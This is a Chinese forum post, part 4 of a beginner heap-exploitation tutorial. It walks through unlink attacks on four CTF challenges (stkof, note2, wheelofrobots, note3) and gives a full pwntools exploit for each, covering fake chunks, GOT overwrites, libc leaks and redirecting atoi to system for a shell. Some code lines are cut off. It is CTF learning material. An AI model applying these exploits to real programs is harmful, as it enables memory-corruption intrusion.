查看: 87|回复: 0

[Pwn] pwn堆入门系列教程4

[复制链接]
发表于 2020-5-27 13:41:55 | 显示全部楼层 |阅读模式
pwn堆入门系列教程4
  序言:这次进入到unlink的学习了,unlink在第一节已经用上了,但我用起来还不是很流畅,还是去翻了第一节的笔记,最主要是指针的问题,可能没学好指针,理解了unlink后就简单做了
2014 HITCON stkof功能分析
  • 几乎无输出的题目
  • 申请功能,申请指定大小size
  • 删除功能,删除idx位置处的chunk
  • 输出一些无用字符串,有个strlen,本来想用来做/bin/sh的,发觉也不行
  • 编辑功能
漏洞点分析
signed __int64 fill()  {
  signed __int64 result; // rax
  int i; // eax
  unsigned int>
  __int64>
  char *ptr; // [rsp+18h] [rbp-78h]
  char s; // [rsp+20h] [rbp-70h]
  unsigned __int64 v6; // [rsp+88h] [rbp-8h]
  v6 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  idx = atol(&s);
  if (>
  return 0xFFFFFFFFLL;
  if ( !globals[idx] )
  return 0xFFFFFFFFLL;
  fgets(&s, 16, stdin);
  size = atoll(&s);
  ptr = globals[idx];
  for ( i = fread(ptr, 1uLL,>
  {
  ptr += i;
  size -= i;
  }
  if (>
  result = 0xFFFFFFFFLL;
  else
  result = 0LL;
  return result;
  }
  

  fill函数里也就是编辑功能处可以自定大小编辑,也就是说存在堆溢出
漏洞利用过程  这里有个小细节,自己补充下知识,关于缓冲区的问题,这个细节也解决了我自己出pwn题的时候输出,为什么输出不了的问题
  就是如果未设置缓冲区为0的话,这道题里是第一次调用fgets是要先申请1024大小的堆块作为缓冲区的,还有printf也要申请1024大小的堆块作为缓冲区
  知道创宇讲解的一道题目
  ctf-wiki讲解这部分知识
  • 首先先申请一块内存,冲掉printf和fgets所需缓冲区
free_got = elf.got['free']  puts_got = elf.got['puts']
  puts_plt = elf.plt['puts']
  atoi_got = elf.got['atoi']
  ptr = 0x0000000000602140+0x10
  alloc(0x100) #idx1
  

  • 是unlink部分,当然用unlink方法来解了,第一节学过了,伪造一个chunk,然后通过溢出覆盖第二个堆块的pre_size和size,在free第二个堆块的时候就会unlink我们的伪造的p堆块
alloc(0x30) #idx2  alloc(0x80) #idx3
  alloc(0x30) #idx4
  payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
  payload = payload.ljust(0x30, 'a')
  payload += p64(0x30)
  payload += p64(0x90)
  fill(2, payload)
  delete(3)
  
gdb-peda$ x/20gx 0x20f7560-0x30  0x20f7530:  0x0000000000000000  0x0000000000000041 #chunk2
  0x20f7540:  0x0000000000000000  0x0000000000000030 #p
  0x20f7550:  0x0000000000602138  0x0000000000602140
  0x20f7560:  0x6161616161616161  0x6161616161616161
  0x20f7570:  0x0000000000000030  0x0000000000000090 #chunk3
  0x20f7580:  0x0000000000000000  0x0000000000000000
  0x20f7590:  0x0000000000000000  0x0000000000000000
  0x20f75a0:  0x0000000000000000  0x0000000000000000
  0x20f75b0:  0x0000000000000000  0x0000000000000000
  0x20f75c0:  0x0000000000000000  0x0000000000000000
  

  这里已经溢出覆盖掉chunk3的size了
  其实unlink已经说过一次了,
  • 首先,第一步要过掉unlink的size检测,覆盖chunk3的pre_size为fake_chunk大小
  • 其次chunk3的insue位要为0,标志前面一个堆块未在使用当中
  • 然后关键点就是伪造fd跟bk了
  • 在第一点中我将ptr设置为global+0x10意思就是第二块堆块地址,这就是存放p的地方
  • unlink第一步 FD = p->fd = ptr-0x18
  • unlink第二步 BK=p->bk = ptr-0x10
  • unlink第三步 判断FD->bk == p && BK->fd == p ?
  • 过了检验后
  • FD->bk = * (ptr-0x18 + 0x18 )= BK = ptr -0x10
  • BK->fd = (ptr-0x10+0x10) = FD = ptr-0x18  最终结果就是
    ptr = ptr-0x18,而ptr是0x0000000000602150故最终就是将global+0x10处的值改为0x602138  然后我们在编辑第二块的时候实际上就是编辑0x602138处,也就是global-0x8处

  • 泄露地址
payload = 'a'*0x10  payload += p64(free_got)+p64(puts_got) + 'a'*8 + p64(atoi_got) #这里对应的是第一块堆块,第二块,第三块和第四块
  fill(2, payload)
  fill(1,p64(puts_plt))
  delete(2)
  io.recvuntil('FAIL\n')
  io.recvuntil('FAIL\n')
  puts_addr = u64(io.recvline().strip().ljust(8, '\x00'))
  io.success("puts_addr: 0x%x" % puts_addr)
  libc_base = puts_addr - libc.symbols['puts']
  system_addr = libc_base + libc.symbols['system']
  bin_sh_addr = libc_base + libc.search('/bin/sh').next()
  io.success("libc_base: 0x%x" % libc_base)
  io.success("system_addr: 0x%x" % system_addr)
  

  没什么好说的啊,覆写got表为put泄露地址
  • 最后我修改atoi为system,因为输入的会经过atoi转换,所以输入的就是system参数
gdb.attach(io)  fill(4, p64(system_addr))
  io.sendline("/bin/sh\x00")
  

exp
#!/usr/bin/env python2  # -*- coding: utf-8 -*-
  from PwnContext.core import *
  local = True
  # Set up pwntools for the correct architecture
  exe = './' + 'stkof'
  elf = context.binary = ELF(exe)
  #don't forget to change it
  host = '127.0.0.1'
  port = 10000
  #don't forget to change it
  #ctx.binary = './' + 'stkof'
  ctx.binary = exe
  libc = args.LIBC or 'libc.so.6'
  ctx.debug_remote_libc = True
  ctx.remote_libc = libc
  if local:
  context.log_level = 'debug'
  io = ctx.start()
  libc = ELF(libc)
  else:
  io = remote(host,port)
  #===========================================================
  #                    EXPLOIT GOES HERE
  #===========================================================
  # Arch:     amd64-64-little
  #>
  # Stack:    Canary found
  # NX:       NX enabled
  # PIE:      No PIE (0x400000)
  def alloc(size):
  io.sendline("1")
  io.sendline(str(size))
  io.recvuntil("OK\n")
  def printf(idx):
  io.sendline("4")
  io.sendline(str(idx))
  def fill(idx, content):
  io.sendline("2")
  io.sendline(str(idx))
  io.sendline(str(len(content)))
  io.sendline(content)
  io.recvuntil("OK\n")
  def delete(idx):
  io.sendline("3")
  io.sendline(str(idx))
  def exp():
  free_got = elf.got['free']
  puts_got = elf.got['puts']
  puts_plt = elf.plt['puts']
  atoi_got = elf.got['atoi']
  ptr = 0x0000000000602140+0x10
  #for buffer
  alloc(0x100) #idx1
  alloc(0x30) #idx2
  alloc(0x80) #idx3
  alloc(0x30) #idx4
  payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
  payload = payload.ljust(0x30, 'a')
  payload += p64(0x30)
  payload += p64(0x90)
  fill(2, payload)
  delete(3)
  payload = 'a'*0x10
  payload += p64(free_got)+p64(puts_got) + 'a'*8 + p64(atoi_got)
  fill(2, payload)
  fill(1,p64(puts_plt))
  delete(2)
  io.recvuntil('FAIL\n')
  io.recvuntil('FAIL\n')
  puts_addr = u64(io.recvline().strip().ljust(8, '\x00'))
  io.success("puts_addr: 0x%x" % puts_addr)
  libc_base = puts_addr - libc.symbols['puts']
  system_addr = libc_base + libc.symbols['system']
  bin_sh_addr = libc_base + libc.search('/bin/sh').next()
  io.success("libc_base: 0x%x" % libc_base)
  io.success("system_addr: 0x%x" % system_addr)
  gdb.attach(io)
  fill(4, p64(system_addr))
  io.sendline("/bin/sh\x00")
  #gdb.attach(io)
  if __name__ == '__main__':
  exp()
  io.interactive()
  

2016 ZCTF note2  ctf-wiki讲解
  我只讲差异,里面有的我就不讲了,我只发现了这个漏洞点
  程序在每次编辑 note 时,都会申请 0xa0 大小的内存,但是在 free 之后并没有设置为 NULL。
  然后我并不会利用这个,本来想利用chunk extends上一节学的,发觉他free后的大小不怎么对,到时看下源码吧,他free后的chunk大小不是合并后的大小,最后看到了大佬讲解的那个0,然后通过-1转成无符号整数,这个我自己查看的时候看不出
漏洞利用过程  第一步构造unlink,原理上一节弄过了,所以感觉这次顺畅好多
ptr = 0x0000000000602120  first()
  # unlink
  payload = p64(0) + p64(0xa0) + p64(ptr-0x18) + p64(ptr-0x10)
  payload = payload.ljust(0x80, 'a')
  newnote(0x80, payload)
  newnote(0, 'b'*0x8)
  newnote(0x80, 'c'*0x20)
  delete(1)
  newnote(0, 'b'*0x10+p64(0xa0)+p64(0x90))
  delete(2)
  

  unlink过后修改ptr[0]指针,指向atoi的got表,泄露地址,为什么指向atoi?为后面做准备
payload = 'a'*0x18 + p64(elf.got['atoi'])  editnote(0, 1, payload)
  shownote(0)
  io.recvuntil("TheNewContents:Edit note success!\n")
  io.recvuntil("Content is ")
  atoi_addr = u64(io.recvline().strip().ljust(8, '\x00'))
  io.success("atoi_addr: 0x%x" % atoi_addr)
  libc_base = atoi_addr - libc.symbols['atoi']
  system_addr = libc_base + libc.symbols['system']
  io.success("libc_base: 0x%x" % libc_base)
  

  getshell,因为此时第一块堆块还指向atoi的got表,所以此时编辑下,就可以覆写got表了,输入的时候会将输入串atoi,所以就成为参数了
#get_shell  editnote(0, 1, p64(system_addr))
  io.sendline("/bin/sh")
  

exp
#!/usr/bin/env python2  # -*- coding: utf-8 -*-
  from PwnContext.core import *
  local = True
  # Set up pwntools for the correct architecture
  exe = './' + 'note2'
  elf = context.binary = ELF(exe)
  #don't forget to change it
  host = '127.0.0.1'
  port = 10000
  #don't forget to change it
  #ctx.binary = './' + 'note2'
  ctx.binary = exe
  libc = args.LIBC or 'libc.so.6'
  ctx.debug_remote_libc = True
  ctx.remote_libc = libc
  if local:
  context.log_level = 'debug'
  io = ctx.start()
  libc = ELF(libc)
  else:
  io = remote(host,port)
  #===========================================================
  #                    EXPLOIT GOES HERE
  #===========================================================
  # Arch:     amd64-64-little
  #>
  # Stack:    Canary found
  # NX:       NX enabled
  # PIE:      No PIE (0x400000)
  def newnote(size, content):
  io.sendline("1")
  io.sendline(str(size))
  io.sendline(content)
  def editnote(idx, choice, content):
  io.sendline("3")
  io.sendline(str(idx))
  io.sendline(str(choice))
  io.sendline(content)
  def delete(idx):
  io.sendline("4")
  io.sendline(str(idx))
  def shownote(idx):
  io.sendline("2")
  io.sendline(str(idx))
  def first():
  io.sendlineafter("Input your name:\n", "greenhand")
  io.sendlineafter("Input your address:\n", "greenhand")
  def exp():
  ptr = 0x0000000000602120
  first()
  # unlink
  payload = p64(0) + p64(0xa0) + p64(ptr-0x18) + p64(ptr-0x10)
  payload = payload.ljust(0x80, 'a')
  newnote(0x80, payload)
  newnote(0, 'b'*0x8)
  newnote(0x80, 'c'*0x20)
  delete(1)
  newnote(0, 'b'*0x10+p64(0xa0)+p64(0x90))
  delete(2)
  # leak
  payload = 'a'*0x18 + p64(elf.got['atoi'])
  editnote(0, 1, payload)
  shownote(0)
  io.recvuntil("TheNewContents:Edit note success!\n")
  io.recvuntil("Content is ")
  atoi_addr = u64(io.recvline().strip().ljust(8, '\x00'))
  io.success("atoi_addr: 0x%x" % atoi_addr)
  libc_base = atoi_addr - libc.symbols['atoi']
  system_addr = libc_base + libc.symbols['system']
  io.success("libc_base: 0x%x" % libc_base)
  #get_shell
  editnote(0, 1, p64(system_addr))
  io.sendline("/bin/sh")
  gdb.attach(io)
  if __name__ == '__main__':
  exp()
  io.interactive()
  

2017 insomni'hack wheelofrobots  这道题难点我觉得在于代码长了点,然后漏洞点难找了点,其余还好,我自己分析的时候又是一头雾水,只看出free的时候没置空,然后还有的是在change部分,他代销有的居然达到了0x9C40uLL,这里我觉得也是一个点,off-by-one真没看出来
  ctf-wiki讲解
  我不在分析功能以及漏洞点分析,这次我自己没分析出来,只讲下漏洞利用过程以及过程中踩到的坑
漏洞利用过程
  • 准备部分
def add(idx,>io.sendlineafter("Your choice :", "1")
  io.sendlineafter("Your choice :", str(idx))
  if>
  io.sendlineafter("Increase Bender's intelligence: ", str(size))
  elif>
  io.sendlineafter("Increase Robot Devil's cruelty: ", str(size))
  elif>
  io.sendlineafter("Increase Destructor's powerful: ", str(size))
  def remove(idx):
  io.sendlineafter("Your choice :", "2")
  io.sendlineafter("Your choice :", str(idx))
  def change(idx, name):
  io.sendlineafter("Your choice :", "3")
  io.sendlineafter("Your choice :", str(idx))
  io.sendafter("Robot's name: ", name)
  def start_robot():
  io.sendlineafter("Your choice :", "4")
  def off_by_one(byte):
  io.sendlineafter("Your choice :", "1")
  io.sendlineafter("Your choice :", "9999" + byte)
  def write(addr1, addr2):
  change(1, p64(addr1))
  change(6, p64(addr2))
  

  注意:这里change是sendafter不是sendline,因为sendline会发送多一个\n破坏地址
  • off-by-one溢出修改部分
add(2, 1)  remove(2)
  off_by_one('\x01')
  # change fd pointer
  change(2, p64(0x0000000000603138))
  off_by_one('\x00')
  #pass the fastbin check>
  add(3, 0x20)
  #now>
  #get malloc to -> 0x603138
  add(2, 1)
  #now 0x603138->null
  add(1)
  #whell <=2
  remove(2)
  remove(3)
  

  我觉得这部分应该是顺风顺水的吧,off-by-one学过了
  • 关键点
#now only have>
  #the>
  add(6, 4)
  add(3, 7)
  #change>
  change(1, p64(1000))
  ptr = 0x00000000006030E8
  payload = p64(0) + p64(0x50) + p64(ptr-0x18) + p64(ptr-0x10)
  payload = payload.ljust(0x50, 'a')
  payload += p64(0x50) #pre_size
  payload += p64(0xa0) #size
  change(6, payload)
  # unlink
  remove(3)
  

  这里的话,要注意的就是开头申请的两个add了,那个不能低于remove的大小,不然会重新覆盖到那上边去,至于大小是多少,自己构造就好,然后溢出覆盖unlink,常见了
  • 修改并泄露地址
payload = p64(0)*2 + 'a'*0x18 + p64(ptr)  change(6, payload)
  #gdb.attach(io)
  write(elf.got['exit'], 0x0000000000401855)
  # change robot_wheel to 3
  write(0x603130, 3)
  change(1, p64(elf.got['puts']))
  start_robot()
  # leak
  io.recvuntil(" Thx ")
  puts_addr = u64(io.recv(6).strip().ljust(8, '\x00'))
  io.success("puts_addr: 0x%x" % puts_addr)
  libc_base = puts_addr - libc.symbols['puts']
  system_addr = libc_base + libc.symbols['system']
  

  我觉得这部分跟unlink属于同一部分的,重新修改地址,这里是将tinny改成指向destructor的位置处,这样编辑1就可以编辑第6处指针,在编辑第六处就是写入了,相当于任意写
  写入完后泄露
  • getshell了
#get shell  write(elf.got['atoi'], system_addr)
  io.send("sh;#")
  

  跟前面套路一样,改掉atoi,然后传入sh就完了,ctf-wiki的改的free
exp
#!/usr/bin/env python2  # -*- coding: utf-8 -*-
  from PwnContext.core import *
  local = True
  # Set up pwntools for the correct architecture
  exe = './' + 'wheelofrobots'
  elf = context.binary = ELF(exe)
  #don't forget to change it
  host = '127.0.0.1'
  port = 10000
  #don't forget to change it
  #ctx.binary = './' + 'wheelofrobots'
  ctx.binary = exe
  libc = args.LIBC or 'libc.so.6'
  ctx.debug_remote_libc = True
  ctx.remote_libc = libc
  if local:
  context.log_level = 'debug'
  io = ctx.start()
  libc = ELF(libc)
  else:
  io = remote(host,port)
  #===========================================================
  #                    EXPLOIT GOES HERE
  #===========================================================
  # Arch:     amd64-64-little
  #>
  # Stack:    Canary found
  # NX:       NX enabled
  # PIE:      No PIE (0x400000)
  def add(idx,>
  io.sendlineafter("Your choice :", "1")
  io.sendlineafter("Your choice :", str(idx))
  if>
  io.sendlineafter("Increase Bender's intelligence: ", str(size))
  elif>
  io.sendlineafter("Increase Robot Devil's cruelty: ", str(size))
  elif>
  io.sendlineafter("Increase Destructor's powerful: ", str(size))
  def remove(idx):
  io.sendlineafter("Your choice :", "2")
  io.sendlineafter("Your choice :", str(idx))
  def change(idx, name):
  io.sendlineafter("Your choice :", "3")
  io.sendlineafter("Your choice :", str(idx))
  io.sendafter("Robot's name: ", name)
  def start_robot():
  io.sendlineafter("Your choice :", "4")
  def off_by_one(byte):
  io.sendlineafter("Your choice :", "1")
  io.sendlineafter("Your choice :", "9999" + byte)
  def write(addr1, addr2):
  change(1, p64(addr1))
  change(6, p64(addr2))
  def exp():
  add(2, 1)
  remove(2)
  off_by_one('\x01')
  # change fd pointer
  change(2, p64(0x0000000000603138))
  off_by_one('\x00')
  #pass the fastbin check>
  add(3, 0x20)
  #now>
  #get malloc to -> 0x603138
  add(2, 1)
  #now 0x603138->null
  add(1)
  #whell <=2
  remove(2)
  remove(3)
  #now only have>
  #the>
  add(6, 4)
  add(3, 7)
  #change>
  change(1, p64(1000))
  ptr = 0x00000000006030E8
  payload = p64(0) + p64(0x50) + p64(ptr-0x18) + p64(ptr-0x10)
  payload = payload.ljust(0x50, 'a')
  payload += p64(0x50) #pre_size
  payload += p64(0xa0) #size
  change(6, payload)
  # unlink
  remove(3)
  payload = p64(0)*2 + 'a'*0x18 + p64(ptr)
  change(6, payload)
  #gdb.attach(io)
  write(elf.got['exit'], 0x0000000000401855)
  # change robot_wheel to 3
  write(0x603130, 3)
  change(1, p64(elf.got['puts']))
  start_robot()
  # leak
  io.recvuntil(" Thx ")
  puts_addr = u64(io.recv(6).strip().ljust(8, '\x00'))
  io.success("puts_addr: 0x%x" % puts_addr)
  libc_base = puts_addr - libc.symbols['puts']
  system_addr = libc_base + libc.symbols['system']
  #get shell
  write(elf.got['atoi'], system_addr)
  io.send("sh;#")
  if __name__ == '__main__':
  exp()
  io.interactive()
  

zctf-note3  这道题算自己做的了,自己分析漏洞点,自己做,不过有两个位置卡住了,暂时未得以解决先记录下来,从他人wp里获得的解决方案
功能分析  有增删查改,
  查询部分是没用的,无法泄露
漏洞点分析  不知道为什么,看到这个读取函数瞬间就懂怎么做了
unsigned __int64 __fastcall sub_4008DD(__int64 a1, __int64 a2, char a3)  {
  char v4; // [rsp+Ch] [rbp-34h]
  char buf; // [rsp+2Fh] [rbp-11h]
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t v7; // [rsp+38h] [rbp-8h]
  v4 = a3;
  for ( i = 0LL; a2 - 1 > i; ++i )
  {
  v7 = read(0, &buf, 1uLL);
  if ( v7 <= 0 )
  exit(-1);
  if ( buf == v4 )
  break;
  *(_BYTE *)(i + a1) = buf;
  }
  *(_BYTE *)(a1 + i) = 0;
  return i;
  }
  

  a2-1跟我前面做过的一两道题都类似,利用0-1负数,然后转成无符号比较,变成很大,也就是堆溢出
  注意:这里的坑点就是a3, a3假设被定为\n,我们sendline的时候sendline(p64(addr))会覆盖到下一个地址的最后一位,并将他改成\x00,这是最坑的点了,我被这个坑了好久
漏洞利用过程
  • 准备工作
def add(size, content):  io.sendlineafter("option--->>\n", "1")
  io.sendlineafter("Input the length of the note content:(less than 1024)\n", str(size))
  io.sendlineafter("Input the note content:\n", content)
  def show():
  io.sendlineafter("option--->>\n", "2")
  def edit(idx, content):
  io.sendlineafter("option--->>\n", "3")
  io.sendlineafter("Input the>
  io.sendlineafter("Input the new content:\n", content)
  def delete(idx):
  io.sendlineafter("option--->>\n", "4")
  io.sendlineafter("Input the>
  

  不用多说吧,每道堆题一样的套路
  • unlink部分
add(0, 'a'*0x8) #idx0  add(0, 'b'*0x8) #idx1
  add(0x80, 'c'*0x80) #idx2
  ptr = 0x6020c8
  payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
  payload = payload.ljust(0x30, 'a')
  payload += p64(0x30)
  payload += p64(0x90)
  edit(0, payload)
  delete(2)
  

  这里有坑,切记,不能删掉idx1在进行覆盖,会报错,至于具体报错原因我不清楚,我估计是fastbin链上修改成了错误的fd指针,检测到了,这个问题待解决
  简单的unlink
  • 这里我利用了上一道题的思路,一样的做,修改idx0指向idx1指针部分,通过修改idx0,然后达到任意地址写
free_got = elf.got['free']  puts_plt = elf.plt['puts']
  puts_got = elf.got['puts']
  atol_got = elf.got['atol']
  atoi_got = elf.got['atoi']
  payload = 'a'*0x18 + p64(ptr+8) + p64(elf.got['free'])
  #payload = 'a'*0x18 + p64(free_got) + p64(puts_got)
  edit(0, payload)
  #edit(0, p64(puts_plt)[:-1])
  edit(1, p64(elf.plt['puts'])[:-1]) #关键点,切记,不能破坏到下一个地址,不然会出错
  #delete(1)
  edit(0, p64(atol_got))
  delete(1)
  atol_addr = u64(io.recvline().strip().ljust(8, '\x00'))
  libc_base = atol_addr - libc.symbols['atol']
  system_addr = libc_base + libc.symbols['system']
  io.success("libc_base: 0x%x" % libc_base)
  io.success("atol_got: 0x%x" % atol_got)
  

  • getshell
edit(0, p64(atoi_got))  edit(1, p64(system_addr)[:-1])
  gdb.attach(io)
  io.sendline("/bin/sh;#")
  

exp
#!/usr/bin/env python2  # -*- coding: utf-8 -*-
  from PwnContext.core import *
  local = True
  # Set up pwntools for the correct architecture
  exe = './' + 'note3'
  elf = context.binary = ELF(exe)
  #don't forget to change it
  host = '127.0.0.1'
  port = 10000
  #don't forget to change it
  #ctx.binary = './' + 'note3'
  ctx.binary = exe
  libc = args.LIBC or 'libc.so.6'
  ctx.debug_remote_libc = True
  ctx.remote_libc = libc
  if local:
  context.log_level = 'debug'
  io = ctx.start()
  libc = ELF(libc)
  else:
  io = remote(host,port)
  #===========================================================
  #                    EXPLOIT GOES HERE
  #===========================================================
  # Arch:     amd64-64-little
  #>
  # Stack:    Canary found
  # NX:       NX enabled
  # PIE:      No PIE (0x400000)
  def add(size, content):
  io.sendlineafter("option--->>\n", "1")
  io.sendlineafter("Input the length of the note content:(less than 1024)\n", str(size))
  io.sendlineafter("Input the note content:\n", content)
  def show():
  io.sendlineafter("option--->>\n", "2")
  def edit(idx, content):
  io.sendlineafter("option--->>\n", "3")
  io.sendlineafter("Input the>
  io.sendlineafter("Input the new content:\n", content)
  def delete(idx):
  io.sendlineafter("option--->>\n", "4")
  io.sendlineafter("Input the>
  def exp():
  add(0, 'a'*0x8) #idx0
  add(0, 'b'*0x8) #idx1
  add(0x80, 'c'*0x80) #idx2
  ptr = 0x6020c8
  payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
  payload = payload.ljust(0x30, 'a')
  payload += p64(0x30)
  payload += p64(0x90)
  edit(0, payload)
  delete(2)
  free_got = elf.got['free']
  puts_plt = elf.plt['puts']
  puts_got = elf.got['puts']
  atol_got = elf.got['atol']
  atoi_got = elf.got['atoi']
  payload = 'a'*0x18 + p64(ptr+8) + p64(elf.got['free'])
  #payload = 'a'*0x18 + p64(free_got) + p64(puts_got)
  edit(0, payload)
  #edit(0, p64(puts_plt)[:-1])
  edit(1, p64(elf.plt['puts'])[:-1])
  #delete(1)
  edit(0, p64(atol_got))
  delete(1)
  atol_addr = u64(io.recvline().strip().ljust(8, '\x00'))
  libc_base = atol_addr - libc.symbols['atol']
  system_addr = libc_base + libc.symbols['system']
  io.success("libc_base: 0x%x" % libc_base)
  io.success("atol_got: 0x%x" % atol_got)
  edit(0, p64(atoi_got))
  edit(1, p64(system_addr)[:-1])
  gdb.attach(io)
  io.sendline("/bin/sh;#")
  if __name__ == '__main__':
  exp()
  io.interactive()
  

总结
  • unlink部分完结了
  • unlink部分学习时间4天,现在对于unlink轻车熟路了,不过通常不是单一漏洞点,单一的好分析点
  • 要多学学逆向,逆向起复杂的题目来真的难,像那个机器人那题,我连漏洞点都找不到,真的惨
  • 我觉得机器人那题还有另外解法,因为4和5选项越界部分都没用上
  • 感谢萝卜师傅的指导
参考链接  看雪大佬


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046
微信公众号
快速回复 返回顶部 返回列表